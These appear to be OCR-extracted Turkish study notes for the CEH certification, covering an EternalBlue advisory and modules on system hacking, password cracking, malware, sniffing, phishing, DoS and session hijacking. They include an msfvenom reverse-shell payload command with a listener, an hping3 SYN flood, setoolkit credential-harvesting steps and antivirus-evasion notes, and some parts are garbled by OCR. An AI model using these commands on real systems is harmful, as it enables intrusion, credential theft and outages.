- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An Type: remote
unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144, Famil: Windowt

CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An
unauthenticated, remote attacker can exploit this, via a specially crafted packet, to disclose sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation Group vulnerabilities and exploits
disclosed on 2017/04/14 by a group known as the Shadow Brokers. WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit,
and EternalRocks is a worm that utilizes seven Equation Group vulnerabilities. Petya is a ransomware program that first utilizes CVE-2017-0199, a
vulnerability in Microsoft Office, and then spreads via ETERNALBLUE.

Solution
Microsoft has released a set of patches for Windows Vista, 2008, 7, 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also released
emergency patches for Windows operating systems that are no longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Microsoft recommends that users discontinue the use of SMBv1. SMBv1 lacks security
features that were included in later SMB versions. SMBv1 can be disabled by following the vendor instructions provided in Microsoft KB2696547.
Additionally, US-CERT recommends that users block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS
AP, block TCP ports 137 / 139 and UDP ports 137/ 138 on all network boundary devices.

Published: March 2
Modified: October

Risk Information

Risk Factor: High

CVSS v3.0 Base Score 8.
CVSS v3.0 Vector: CVSS:
JULN/S:UIC:HI:HAH
CVSS v3.0 Temporal Vect:
/RL:O/RC:C

CVSS v3.0 Temporal Scor
CVSS Base Score: 9.3
CVSS Temporal Score: 8.!
CVSS Vector: CVSS24AV:
I.C/A:C

CVSS Temporal Vector: C)



Nessus ile Gelismis Zafiyet taramasi

* New Scan’e tarama baslatmak tzere tikliyoruz

Scans
My Scans Moe < Import New Folder
@ My Scans
Al Scas
» Creale a new scan
il Trash

Policies

Plugin Rules.

e @8 o

Scanners

4 Community

Research

* Advance Scan seciyoruz

Scan Templates

« Back 10 Scans
@ My Scans
W AlScans
Scanner

B Tash
0 Policies 0
@ Plugin Rules
5 Host Discovery
& Scanners

Community

-

Research
‘x o)
'R &

e © I\ o

Mobile Device Scan

Web Application Tests

Credentialed Patch Audit

Basic Network Scan Advanced Scan Advanced Dynamic Scan * Malware Scan
Q U} ¢ ;
' v b
Badlock Detection Bash Shellshock Detection DROWN Detection Intel AMT Security Bypass Shadow Brokers Scan Spectre and Meltdown WannaCry Ransomware
[ o) = o] = = - )

ELOG Muliple
SCAP and OVAL Auditing

Vulnerabilities

Audit Cloud Infrastructure Internal PCI Network Scan MDM Config Audit Offline Config Audit PCI Quarterly External Scan Policy Compliance Auditing

Read More



Module 6: System Hacking

System Hacking (Sistem Hack), bu asama CEH’in altinci modulidir. Bu asamada simdiye kadar buldugumuz bilgileri ve
zafiyetleri kullanarak bir makineyi nasil ele gegirme islemleri yapacagimizdan bahsedecegiz

Exploit DB Nedir?
- https://www.exploit-db.com
- Exploitlerin bulundugu genis bir veritabani sitesidir.

Searchploit ile Exploit Bulma

root@kali:/home/kali# searchploit SAMBA|

komutunu kullanarak karsimiza SAMBA ile ilgili exploitleri listeleyebiliriz, indirebiliriz. Kali Linux’ta mevcuttur.

Metasploit Framework
Metasploit agik kaynak kodlu bir exploit framework’tdur.

- Msfconsole - Show payload - Show encoders - Show info
- Msfupdate - Show auxiliary - Show exploits

Exploits: Guvenlik agiklarini somiirmek i¢in kullanilan scriptlerdir.

Auxiliary: Sémirmeye yardimci olan modillerdir. Yani var mi, yok muyu kontrol edecegimiz modillerdir. Exploit ararken listede
auxiliary modilu gérdugumuizde demektir ki “evet bir glivenlik agigi var, ancak sana Shell veremem” demektir.

Encoders: Ben bir zararli olusturdum, bu yazilimi higbir anti-viris etkilenmeden, higbir anti-viriise yakalanmadan karsi tarafa
iletebilmek icin bunu encode ediyorum. Kodluyorum, karmasiklastirlyorum ki yakalanmasin. Bunun igin encoder kullanabilirim.
Bu framerwork’te bir zararh olusturup encoder ile destekleyerek kodlayabiliyorum.

Payload: Bir hedefe saldirmak icin exploit kullanirken, orada hedef makinanin hafizasina yerleserek bizim istediklerimizi
yapmasini saglayan, bize Shell aldiran kisim burasidir. Ornegin bir hedeften Shell aldik, bu Shell bind-shell mi yoksa reverse-shell
mi? Bind-shell, Karsi tarafa bir istek atiyoruz ve oradan shelli aliyoruz ama ya arada glivenlik cihazi varsa? O zamanda karsi
tarafin bana kendi shellini vermesini bekliyorum. Benim yazdigim kod ile, bana Shell vermesi icin, karsi tarafi dinledigim porta
yonlendiriyorum. Bu da reverse-shell’dir. Clinku firewall’da girisler bloklanabilir ama ¢ikislar bloklanmaz. O yiizden onun bana
gelmesini bekliyorum. O yuzden bind-shell ve reverse-shell kavramlari bu anlamda bizim igin dnemlidir. Normalde Matesploit
Framework’te kullancagimiz ¢ogu exploite default olarak payload’lar ataniyor. Ornek; Meterpreter, ileri diizey bir Metasploit
payload tipidir.

Eternalblue acigi icin Metesploit kullanma 6rnegi;

msf6 auxiliary(scanner/smb/smb_msl7 010) > Show option

Exploit listesini search ile gérdikten sonra, “info 0,1,2...n” komutu ile o listedeki herhangi bir exploitin ne oldugunu, nasil
kullanilacagi hakkinda detayh bilgi alabilirim.


https://www.exploit-db.com/

Parola Kirma Teknikleri

- Brute Force Attack: Kaba kuvvet saldirisi en etkin yontemdi ancak zaman alir. Belirli bir kelime blogunu strekli st Gste dener

- Dictionary Attack: Sozliik saldirisi olarak adlandirilir.

- Rainbow Attack: So6zliigiin hash’leri ile karsilastirma yapilarak parola kirma yéntemidir.

- Hybrid Attack: Sozllkteki kelimelere sayi ve sembol ekleyerek sifre listesi olusturmak icin kullanilan yontemdir.

- Syllable Attack: Brute force ve Dictionary attack’in kombinasyonu diyebiliriz.

- Rele-based Attack: Kurala dayal ataklar. Parola hakkinda bir bilgimiz varsa bunlari kullanarak olusturulan sifre s6zliGgu
yéntemidir. Ornegin; son ii¢ harfi A gibi..

Parola Kirma Araclari

- Cevrimdisi Parola Kirma Araglari: Cain&Abel, John The Ripper, Hashcat, LOphtcrack

- Cevrimici Parola Kirma Araclari: Medusa, Hydra, Ncrack

* “Crunch” araci ile sozlik olusturulabilir.

- Pass The Hash (PTH): Windows bir bilgisayara ait parola 6zeti (LM:NTLM) ile — parolaya gerek olmadan - bir saldirganin uzak bir
sunucuya veya hizmete kimlik dogrulamasi yapmasini saglayan bir hack teknigidir.

Giiclii Parola Ozellikleri

- En az 8 karakterli olmalidir.

- Buyuk/kuglk harf, rakam, 6zel karakter icermelidir.

- Parolalar, kullanici adini igermemeli, tahmin edilebilir olmamahdir.

- Varsayilan olarak gelen (Uretici) parola bilgilerinden farkh olmalidir.
- Miimkiinse ¢ok faktorla kimlik dogrulama yontemleri kullaniimalidir.

DNA (Distributed Network Attack): Parola kirma amaciyla, TCP/IP ile yonetilen ve bir sekilde ele gegirilen bilgisayarlarin igslemci
guclind kullanan saldiri teknigidir.

Kimlik Dogrulama Faktoérleri:
Somethig you know/have/are - 1/2/3. Faktorlu kimlik dogrulamasi. - bildigin/telefonun/parmak izin

Crunch ile Wordlist Olusturma

root@kali:/home/kali# crunch 9 12 -t furkan%% -o sozluk.txt
- 8: En az sekiz karakterli olacak
-12: En ¢ok on iki karakterli olacak.
- %: 0-9 arasindaki rakamlar anlamini tasir.

Crunch ile Rainbow Table Olusturma

- Kali Gizerinde bulunan “Crunch” araci ile belirli bir patterne gére “Rainbow Table” olusturulabilir.

- “Rainbow Table” anlamli yada anlamsiz tim kelimelerde olusan sozliige verilen isimdir.

- Boylelikle dogru kombinasyon bu so6zliik icerisinde mutlaka bulunacaktir.

- Ancak bu sozllklerin dezavantaji cok fazla yer kaplamasi ve Brute Force atagin ¢ok uzun slirmesidir.

- Sozlik ya da Rainbow Table olusturulduktan sonra http, SSH, FTP, TELNET vb. servislere “Hydra” araci ile Online Brute Force
atak yapilabilir.

,  (Buyuk harf)

@ (Kuglk harf)

% (Rakam)

A (Ozel karakter) anlamina gelir.

Cuppy.py Araci
- https://github.com/Mebus/cupp



https://github.com/Mebus/cupp

Module 7: Malware Threat

Malware Threat (Zararh Yazihm Tehditleri), bu asama CEH’in 7. modulldir. Burada zararh yazilimlari ve tirlerini 6grenecegiz.

Zararh Yazilim Cesitleri

- Adware: Reklam amacl hazirlanan zararli yazihmlardir.

- Trojan: Trojan g¢ahstiran kullanici haklari ile islem gergeklestirilir. Saldirganin uzaktan baglanti kurmasini saglayan bir yazilim.
Ayni zamanda loglama yapilabilir ve glivenlik duvari / anti-virlist devre disi birakabilir bir yetki alinmis olur.

- Arka Kapilar (Backdoor): Bilerek ya da bilmeyerek birakilmis eksiklikleri, girisleri somirebiliyoruz. Bunlara arka kapi diyoruz.

- Virts: Yayilabilen, kopyasini baska bir yere bulastiran bir zararli yazilimdir.

- Solucanlar (Worm): insan etkilesimine gerek duymadan kendi kendine ¢ogalabilen, kendisi calisabilen ve yer edinen bir zararli
yazihm gesididir.

- Fidye Yazilimlar (Ransomware): Sistem dosyalarini sifreledikten sonra bu dosyalarin agilabilmesi igin kullanicidan fidye talep
eden zararli yazilim gesididir.

- Rootkit: Saldirganin istedigi zaman baglanti kurmasi igin kullanilan procces veya dosya gizlemeye yarayan, legal yazilimlari
zararh yazilimlarla degistiren, amacina gore de klavye girdilerini dinleyebilen arka kapi tarzinda bir zararli yazilim ¢esididir.

- Casus Yazilimlar (Spyware): Spyware, bilgisayar kullanicisinin kendi rizasi ve/veya bilgisi disinda veri toplayan casus
yazilimlardir. Daha genel veya farkh anlamlari da olan "malware" ve "adware" gibi adlar da "spyware" yerine
kullanilabilmektedir.

- Botnet: DOS saldirilarinda kullanmak igin zombi bilgisayarlardan olusan sisteme de botnet diyoruz.

Viriis Yasam Dongiisii
- Tasarim (Design)
- Cogalma (Replication)
- Baslama (Launch)
- Tespit Edilme (Detection)
- Taninma (Incorporation)
- Kaldirilma (Elimination)

Viriis Cesitleri

- Macro Viris: Microsoft’un Office uygulamalarini hedef alan bir viris.

- Cavity Virls: Kendini injekte ettigi dosyay! indirip kuran bir viris.

- Stealth Viris: Kendini anti-virlslerden saklar, ¢alistigl zaman servisin isleyisini bozar. Kendini anti-virlise gizledikten sonra
kendini baski altinda hissetmedigi anda ¢alismaya baslar. Ayni anda system boot sector’linl ve gahstirilabilir dosyalari enfekte
eden bir viris.

* Anti-viris programlari “Boot Sector” lizerinde dosyalari tarayarak zararliyi tespit eder.

Arka Kapi Yontemleri
- Sistemde yeni bir port agarak
- Sistemdeki mevcut olarak acik olan portlardan gegerek veya tiinelleyerek
- Sistemde veya uygulamada yeni bir kullanici olusturarak
- Sistemdeki veya uygulamadaki gizli bir kullaniciyr kullanarak
- Servislerdeki veya uygulamalardaki acikliklari kullanarak, arka kapi yontemleri uygulanabilir.

Trojanlar
Taninmis trojanlar ve calistiklari portlar

- TCP Wrapper(421), Doom(666), Snipernet(667), Winhole(1080, 1095, 1097, 1098), Spysender(1807), Deep Throat(UDP
2140), Whack-a-mole(12361, 12362), Tini(7777), Netbus(12345,12346), Girlfriend(21544), Master
Paradise(3129,40421,40422,40426), Whack a mole(12362,12363), Back Orifice(31337, 31338)

Wrapper

- Trojan yukleyip calistiran, masum bir galistirilabilir dosya goriinlimli uygulamadir. Oyunlar, programlarla zararli yaziimlar bu
sekilde bulasir.

- Dropper + Trojan + Legal uygulamadan olusur.



Dropper: Trojanlanmis paketin bir parcasidir. Zararh kodu sisteme yikler.
Botnet Trojan: Spam veya benzeri mail atmak i¢in zararli yazilim bulastirdiklari sunuculardir. Botnetler genelde IRC lizerinden
kontrol edilir.

Taninmis Solucanlar

- Stuxnet - Conficker -CodeRed
- SQL Slammer - Nimda - Bug Bea
- Pretty Park - Morris - MS Blaster

Msfvenom ile Zararli Yazilim Olusturma

root@kali:/home/kali# msfvenom --1list encoders

- encoders: Kullanabilcegimiz encoder’lari listeler. Bunlar antivirus atlatmak igin kullandigimiz yontemdi hatirlarsak.

Peki bu olusturacagimiz zararh yazilim hangi formatta yapacagiz?

root@kali:/home/kali# msfvenom --1list formats
- formats: Kullanabilecegimiz dosya formatlarini listeler.

Msfvenom ile Zararli Yazilim Olusturma - WiNDOWS

root@kali:/home/kali# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.2.5

LPORT=5432 -f exe -o Windows.exe

-p: Payload belirtiriz.

-e: parametresiile hangi encoder’i kullanacaksak ifade edebiliyoruz.

-i: parametresiile birden fazla olarak ka¢ defa encode islemi yapacagimizi belirtiriz.
-a: mimari (x86 — x64) oldugunu belirtiriz.

-0: output, yani viriis adi ve uzantisi, virs ¢ikisi, derlenmesi, olusturulmasi.

-f: zararlinin hangi dosya formatinda olacagini belirtiriz.

* Zararh yazilim olusturduktan sonra, Msfconsole’a gelmem gerek. Buradan bir dinleme exploiti kullanmam gerekiyor ¢linku
kurban virise tikladiginda terminalime direkt olarak Shell, session disecek. Bunun igin ise;

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse tcp

msf6 exploit(multi/handler) > exploit



Module 8: Sniffing

Sniffing (Koklama), bu asama CEH’in sekizinci moduliidiir. Ag tizerinde koklama isleminin nasil yapildigini isleyecegiz. Bu amacla
kullanilan 2 giiglt aracimiz; - Tcpdump - Wireshark

* 200.100.10.0/24 networkiine ait broadcast adres nedir?

Total address space Partial address spaces
N ( A
200.100.10.0/24 200.100.10.0/25 N
(256 addresses) (128 addresses)
200.100.10.0 200.100.10.1
200.100.10.0 200.100.10.1 . .
200-100.10.2 AN 200.100.10.126 200.100.10.127
200.100.10.4 200.100.10.5 >

200.100.10.128/25 )

200.100.10.6 200.100.10.7 (128 addresses)

200.100.10.128 200.100.10.129
200.100.10.252 200.100.10.253

200.100.10.254 200.100.10.255 B N
\ ) 200.100.10.254 200.100.10.255 )

Before Subnetting After Subnetting
Ag lizerindeki Trafigin Elde Edilmesi
- Port SPAN (Switched Port Analyzer) - Port Mirroring: Switch (izerinden gecen her bir paketin kopyasi, o port izerinden baska
bir porta kopyalaniyor ve boylece akan trafigin bir kopyasi elde edilmis oluyor. Her switch bu yonlendirmeyi desteklemeyebilir.
- Network Tap: Akan trafigi coklayan donanimsal bir cihazdir. Tim trafigi %100 olarak elde etmis oluruz.

Wireshark
- Sniffing icin kullanilir.
- Open-source bir aragtir.
- Agdaki paketleri dinleme ve analiz igin kullanilir.
- Aircap ile , wireless paketleri de yakalanip analiz etmek mimkiin.
- Paket byte panel’i izerinden hexadecimal olarak Gizerinde bulunulan paket incelenebilir.
- “communication reset” icin troubleshot yapilmasinda da kullanilir.
- Network tap ile, biitlin network Wireshark ile dinlenebilir.

Tcpdump

root@kali:/home/kali# tcpdump -i eth®

- Network dinlemek icin kullanilir.
- Lightweight bir aractir yani, Wireshark’tan daha az islem gticti kullanir.
- 4. Katman bazinda bir iletisimi dinlemek, isletim sistemi bilgisi elde etmede avantaj saglar.
- Tcptrace ile yakalanan paket ¢iktilari incelenip analiz edilebilir.

Cain & Abel Araci
- Bu araci daha 6nce parola kirma saldirisi yaparken gérmistir ancak ¢ok fonksiyonlu bir aragtir.
- En basta Windows’a password recovery icin Uretilmistir.
- Packet sniffing
- Crack hash
- Brute Force
- Cryptanaliz saldirilar
- WEP cracking




Module 9: Social Engineering

Social Engineering (Sosyal Mihendislik), bu asama CEH’in dokuzuncu modilidir. Burada sosyal miihendislik tanimini gérecegiz.
Ornek olarak sanal ortamdaki makineler (izerinde bir web sayfasi klonlayarak sosyal miihendislik saldirisi yapacagiz ve
yapabilecegimiz benzer saldirilari gérecegiz.

Sosyal Miihendislik
- GUnUmuz siber saldirilari arasinda en popdler olanlarindan bir taneside sosyal mihendislik yapmaktir.
- Sosyal mihendislik giivenlik zincirinin en zayif halkasi olan “insan1” hedef alir.
- Sosyal muhendislik saldirilari teknik saldirilar olarak yapilabildigi gibi hedefteki insani ikna yontemiyle de gergeklestirilebilir.
- Orn; hedef kisiyi telefonla arayip giiven duyma ya da korku gibi insani zafiyetlerini sémiirerek kisisel bilgilerini istemek gibi.

Sosyal Miihendislik Suireci

| DOSTLLE VE | aiven | I -
ARASTIRES | GLVEN KOTUHE ] | BT
U AR MA EULLARNKA [ RULLANEDL

GER|
EESLEME

Setoolkit ile Sosyal Miihendislik

- Kali Linux terminal ekranina “setoolkit” yazilir.

- Ardindan bizi bir mend karsilar.

- setoolkit “social engineering tool kit” kisaltmasidir.
* Alternatif; “shaclock”

Setoolkit — Credential Harvester Attack
- Bu atakta setoolkit araci kullanilarak bir sosyal medya sayfasi klonlayip, bu site tizerinden hedef kullanicinin login bilgilerini

¢almaya galisacagiz.

- Hedef kullaniciya kendi sunucumuzun IP yada domainini phising yolu ile gondermemiz ve bu siteye girmeye ikna etmemiz
gerekiyor.

- Baska bir yontem ise hedef kullanicinin host dosyasinda ya da DNS’inde sosyal medya sitesinin host kaydini degistirebilirsek
yine kullanici bizim sahte sitemize gelecektir.

Terminaldeki adimlar; setoolkit > Social-Engineering Attack > Website Attack Vectors > Credential Harvester Attack Method




Module 10: Denial-of-Service

Denial-of-Service (Servis Disi Birakma), Bu asama CEH’in onuncu modultdir. Katmanlardaki olusturulabilecek DOS ataklarini
dgrenecegiz. Ornek olarak sanal makinedeki web sayfasini servis disi birakacagiz.

DoS: “Tek bir bilgisayardan” sirekli sistemin erisilebilirligini bozmaya c¢ahsilr.
DDoS: “Farkh bir bilgisayardan” siirekli sistemin erisilebilirligini bozmaya ¢alisilir.

0S| Katmanlarina Gére DDOS Saldirilari

L7 > SQL, LAND, DHCP istismari, Fork Bomb, DNS Amplification, Slow Read, Slowloris, Exploit, Brute-force, Firmware bulglari,
Uygulamalardaki Bellek,Disk, CPU odakh buglar

L4 > SYN Seli, Teardrop, UDP Seli, ACK/FIN/RST Seli, DRDOS (Reflection)

L3 > ICMP / Ping Seli, Fraggle, Smurf, Ping of Death

L2 > ARP Seli, Wireless, VTP Saldirisi

L1 > Fiziksel Zarar, Ag/glc kablosunun gekilmesi.

Layer 2 DDoS Saldirilan
Arp Flood icin, “macof” araci kullanabiliriz. Burada switch flood’a cevap veremez hale gelecektir.

Layer 3 DDoS Saldirilari

Smurf Attack: Source IP, hedef aldigimiz cihaz olmak lizere spoof edilir ve Brodcast IP’sine ICMP Echo Request paketleri
gonderilir. Boylece atagin etkisi arttirilir yani bir amplification etkisi olusturulur. Tlim ICMP Echo Reply cevaplari spoof edilen
hedef makineye déner ve makine servis digi kalir. Bu atagi dnlemek igin alinabilecek 6nlem Router lizerinde brodcat ping’i
engellemek olacaktir.

====23 ICMP echo reply
* ICMP echo request

ous  |Source 110255 255 25524
resest destination:10.11.10.2/24
10.16.10.10/24 7/,

_.g " ,.‘ ,r i \' I
M » F .' r R -
ICMPattacker :g' g 1oy 'g Victim's Cloud

Compromisad Hosts

Ping of Death
Bu atak normal boyutundan daha buyilik ICMP paketleri génderilerek yapilan ataktir. Giinimiizde modern isletim sistemleri bu

ataga karsi dayaniklidir o yizden giincelligini yitirmistir.

Ping of Death Attack

IP ICMP
Header Header ICMP Data

% 20 bytes 8 bytes >65,507 bytes

Onginal packet before fragmentation




Layer 4 DDoS Saldirilan
- Asagidaki sekilde TCP’nin Finite State Machine Modeli gosterilmistirg
- L4’de (Transport) TCP ¢l el sikismasi hem session baslarken hemde sonlandirilirken yapilir.
- Bu sirada TCP flagleri kullantlir.
- Bu bayraklar; SYN, ACK, FIN, PUSH, RST ve URG
- DDoS saldirilarinda da bu mekanizma kullanihr.
- Orn; SYN Flood, ACK Flood, FIN flood vb.
- Bunlarin disinda UDP paketleri génderilerek UDP flood saldirisi da yapilabilir.

| closep
Appl: passive open
Semid: il hings
Feov: 5¥N
Timenud Send: SYM, ACK I r Appl: artive open
Sendd; RST _ .,| LISTEN I— Send: S¥N
Appl: semad dain
Reov: RET Send: SYN
- Rexv; YN | S Appl: close
SYN_RCVD M R e | SYN_SENT |-hm—H
Recy: ACK Recy: 3YN. ACK
Sencl: <mothing=- Sencd: Al
Appl: elose ﬁ Hi Recv: FIN
Send: FIN ESTABLISHED ] ﬁil:m:l: AUK
Agpl close | CLOSE_WAIT |
Send: FIN
¥ ¥ e FIN :’:IL ::
FIN.ZWAIT_ 1 [seaac? CLOSING
Recv: ACK Recy: FIN, ACK Recv: ACK
Send: =nothing= Send: ACK Hend: <mnthing=
b
Recw: FIN
FIN_ZWAIT 2 |5 TIME_WAIT »
Active Close

Layer 7 DDoS Saldirilari

- DHCP Starvation Attack: MAC adres bilgilerinin degistirilerek siirekli olarak farkli IP adresi almaya galismasiyla DHCP sunucusu
IP havuzunun tiketilmesidir.

DHCP DISCOVER -
g Hedef MAC adrasi: FE-FF-FF-FF-FF-FF -
o= itemei MAC adre s AA-86-CC-DD-EE-61 =

MAC: AA-BB-CC-DD-EE-61 Bligisoy . Eak: st armcil 192.168.61.61
Gonderilen P xdresi: 255.255.255.255
Hadafport- 67

= DHCP OFFER — s
g T Hedef MAC adresi: FE-FE-FF-FF-FFE-FF E

HedefIP adresi: 255.255.255.255

Istemel DHCP sunucusunun P adrasi; 192 168.61.61 Sunuey
MAC: AA-BB-CC-DD-EE-61  Hodafport 68 192:168.61,61
Verilecekolan P adresi: 192.168.61.20
Maske: 255.255.255.0
1P adresi gecerlilik sirasi: 1430 dk

DHCP REQUEST =5
g Hedef MAC adresi: FE-FF-FF-FF-FE-FF =
Ehamict Kaynak adres: 0.0.0.0
MAC AA-BB.CLDD-EEGL  GonderilenIP adres: 255.255.255.255
Istemci MAC adresi: AA-BB-CC-DD-EE-61

DHCP sunucusunun P adresi: 192.163.61.61

Sunucu
192.16861.61

Bilgisayar ismi: Istemaiél
Hedefport: 67

-~ DHCP ACK
g " HedefMAC adresi: FF-FF-FF-FF-FF-FF

HedefIP adresi: 255.255.255.255

DHCP sunucusunun IP adresi: 192.168.61.61
Hedefport: 68

Verilecekolon iP adresi: 192.168.61.20
Maske: 255.255.255.0

1P adresi gegerlilik siiresi: 1340 dk

Istemci
PMAC AA-BB-CC-DD-EE-51

Sunucu
1921686161




- DNS Amplification Attack:
DNS sorgularindaki source IP kismina hedef sistemin IP’si yazilarak DNS sorgulari yollanir. Boylece DNS sorgularinin cevaplari
hedeflenen sisteme gider. DNS sorgularinda cevaplar sorgularin yaklasik 50 kati blytkliginde oldugu i¢in daha az kaynakla
hedef sistemin bant genisiligi tiiketilebilir. Ayrica sorgularin gercekte hangi IP’den geldigi bilinmedi i¢in saldiri anonim bir sekilde
gerceklestirilmis olur.

- HTTP GET Flood: Cok fazla sayida HTTP baglantisi kurularak connection table yada bant genisligi doldurulur.
- HTTPS GET Flood: Gok fazla sayida HTTPS baglantisi kurularak CPU’ya ¢ok fazla kriptografik islem yaptirarak CPU kaynagi
tiketilir.

- SlowLoris Attack: Bu atak thread-based bir atak tiiridir ve HTTP GET isteklerini yollar ve connection olana kadar bekler.
Connection koptuktan sonra tekrar istek yollar ve server lzerindeki connection tablosunu siirekli dolu tutar. Bu ataktaki hedef

bant genisligi degil connection tablosunu tiiketmektir. GET Flood’a gére daha az kaynakla atak gergeklestirilir.

- DNS Flood: DNS sunucusuna ¢ok fazla DNS sorgusu yapilarak sunucunun cevap veremez hale gelmesidir. Boylelikle sayfa
erisilemez hale gelir.

Ornek DDoS Saldirisi

root@kali:/home/kali# hping3 -S --flood -p 80 192.168.2.10
- Bu bir SYN Flood saldirisidir. “-S” parametresinde de anlasilacagi Gizere.

Module 11: Session Hijacking

Session Hijacking (Oturum Calma), bu modul CEH’in on birinci modilidir. Oturum ¢alma saldirilari genellikle kimlik dogrulama
dedigimiz (Authentication) esnasinda araya girerek ya da sistemi yaniltarak, saldirgan tarafindan bilgilerin ¢calinmasidir.

Oturum dedigimiz yetkilendirilmis hesabin 6zellikleri ¢calindigi icin de, saldirganin parola ¢alma gibi bir seye ihtiyaci yoktur.

Burada problem, parolalari yanlis denedigimizde kitlenen sistemler, oturum ID’lerini yanhs girdigimizde kilitlenmezler. Bu
sebeple istediginiz kadar deneyebilir, hatta bazen deneme yanilma yontemi bile yapabilirsiniz.

Session ID=ACF3D35F216AAEFC
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3 Adimda Oturum Calma

- Genellikle 3 adimda oturum calma islemi basarilir;

1- izleme: Ag trafigi dinlenir.

2- Sekronizasyon Bozma: Saldirgan gergek istemciye (kurbana) RST ya da FIN paketi gondererek istemciyi trafikten disuruyor.

3- Paket Enjeksiyonu: Bu son kisimda ise aga paket enjekte ediyoruz ve sunucuya “sonraki paketin -seq- (sequence) [sira] ID
degeri ile gergek bir istemciymis gibi trafigi devam ettiriyoruz. Yani istemciyi bloke edip agdan dusirip, kendimiz onun yerine
gecmis oluyoruz.

Oturum Calma Cesitleri

Aktif ve Pasif Oturum Calma
- Aktif: Saldirgan aktif olarak oturumu kendi lizerine alir ve oturumu devam ettirir.
- Pasif: Saldirgan trafigi dinler ve kaydeder.

* OSl'ye gore Ag ve Uygulama seviyelerinde oturum calma saldirisi gerceklestirilebilir;
- Ag seviyesi yani 3. Katmanda TCP ve UDP paketlerini ele gegirerek yapar.
- Uygulama seviyesinde de Oturum ID’si ¢alarak yapar.

Ag Seviyesinde Oturum Calma Yontemleri
Bu saldirilar OSI 3. Katmanda gerceklestirilen saldirilardir ancak 7. Yani uygulama katmaninda yetki sahibi olmak icin de
kullanilabilirler.

- TCP/IP Hijacking: IP adresi taklit ederek yapilir ve dogru seq numarasini bulana kadar da sanki kurbandan geliyormus gibi
sunucuya paket yolluyor. Yanlis denemeler sirasinda tabii ki kurbana, kendi baslatmamis gibi oturumlara ait ACK paketleri geliyor
ama bu kurban tarafindan distrilmis oluyor ve biz o arada da seq ID’sini tutturmaya g¢alismis oluyoruz. Ama bunun igin
kurbanla ayni agda olmamiz gerekiyor.

- RST Hijacking: Burada saldirgan sunucunun IP adresini taklit eder ve dogru ACK numarasini bulduktan sonra kurbana RST
yolluyor ve kurbana oturumu disirtmis oluyoruz.

- Man in the Middle (MITM)

- IP Spoofing: Saldirgan bilgisayarda root yetkisine sahip olarak bu saldiriyi yapabilir. Saldirgan, kaynak adresi farkli olacak
sekilde paket yollamis oluyor.

- Blind Hijacking: Farkli agda bir baglanti varsa burda bu baglantiya ait TCP Seq numarasini tahmin etmeye calisiyor. Session ID
degeri bulundugu zaman zararl bir paket enjekte ediliyor ama burada saldirgan farkli agda oldugu icin agi dinleyemiyor ve haliyle
spoof edememis oluyor burda da blind (kér) olmasinin sebebi budur.

- UDP Hijacking: Kurbanimiz sunucuya bir UDP talebinde bulunuyor. O arada biz de araya girmis oluyoruz ayni zamanda da
sunucudan 6nce davranip cevap vermis oluyoruz, sunucunun cevabinu disirmis oluyoruz ve biz kurbana cevap vermis oluyoruz.
Ve UDP paketine de istedigi veriyi ekleyerek kurbana géondermis oluyoruz.

syn seq=x

— syn ack=x+1 seq=y =, '
We———m)
=

ack=y+1 segq=x+1
=

Uygulama Seviyesinde Oturum Calma Yontemleri

- Session Sniffing: Ag dinlenebilir

- Token/Session ID Tahmin Etme: Oturum ID degeri Uretilirse, bu anahtarlar bir stireligine pattern analiz edilerek tahmin
edilebilir.

- Man in the Middle (MITM): Istemci ve sunucu arasindaki TCP oturumunda araya girme islemidir.

- Man in the Browser (MITB): Kurbana ait web tarayicisi ile ve uygulamasi arasina girilir.

- istemci Tarafli Saldirilar: Dogrudan istemciye (kurbana) saldirilabilir. XSS, CRSF, zararli js kodu enjekte edilmesi vb.

- Oturum Sabitleme (Session Fixation): Kurbanin oturumu saldirganin oturum degerine sabitlenir.

- Oturum Tekrarlama (Session Replay): Araya girilerek kaydedilen kimlik dogrulama bilgileri (authentication token) sunucuya
gonderilerek, kurbanin kimligine birilir ve yetkisiz erisim elde edilir.




Session Hijacking — Uygulama
Kali Linux Gzerinde asagidaki uygulamalar kullanilir;
- Ettercap, Ferret, Hamster
Bu ¢ uygulama ile Session Hijacking yapmak icin MITM saldirisi yapacagiz.

- Ettercap Kali Linux Gzerinde kurulu gelir.

Komut satirinda root olarak “ettercap -G” komutu galistirilir.
- Hamster kurmak igin;

sudo apt-get install hamster-sidejack

Komut satirina sadece hamster yazilir ve web arayiiziine gidilir. Koklanan agdaki cookie’ler buraya diiser.
- Ferret kurmak igin;

sudo apt-get install ferret-sidejackEElEILNEPA EIE]JINFIIEIe]g]

dpkg -add-architecture i386 && apt-get update && apt-get install ferret-sidejack:i386

sudo apt install libpcap®.8-dev libuvl-dey|

* ferret -i ethO
- IP Forwarder igin;
cat/proc/sys/net/ipv4/ip forward (degeri 1 olarak degistirilmeli)
- Browser’a Proxy Tanimlamasi

Eger browserda “ben ayni zamanda Proxy ile bu uygulama nereye gidiyor? Herseyi proxy’den gecireyim, bunu da Burp Suit’e ya
da Ettercap’e vereyim dersek Firefox’tan Manual Proxy ayarina Hamster’in web servis IP’sini (127.0.0.1:1234) verebiliriz.

Module 12: Evading IDS, Firewalls and Honeypots

- IDS (Instrusion Detection System, Saldiri Tespit Sistemi)

- IPS (Instrusion Prevention System, Saldiri Onleme Sistemi)
- Firewall (Glvenlik Duvari)

- Honeypots (Bal Kiip()

IDS (Instrusion Detection System)
- IDS saldiri aktivitelerini veya politika ihlallerini tespit etmek igin ag veya sistem aktivitelerini izleyen ve bunlara bagh olarak
uyari Ureten yazilim ya da donanimdir.
iki tiir IDS vardir;
NIDS (Network IDS)
- Saldiri modellerini tespit etmek icin promiscuous modda ag trafigini analiz eder. Arada calisir.
HIDS (Host IDS)
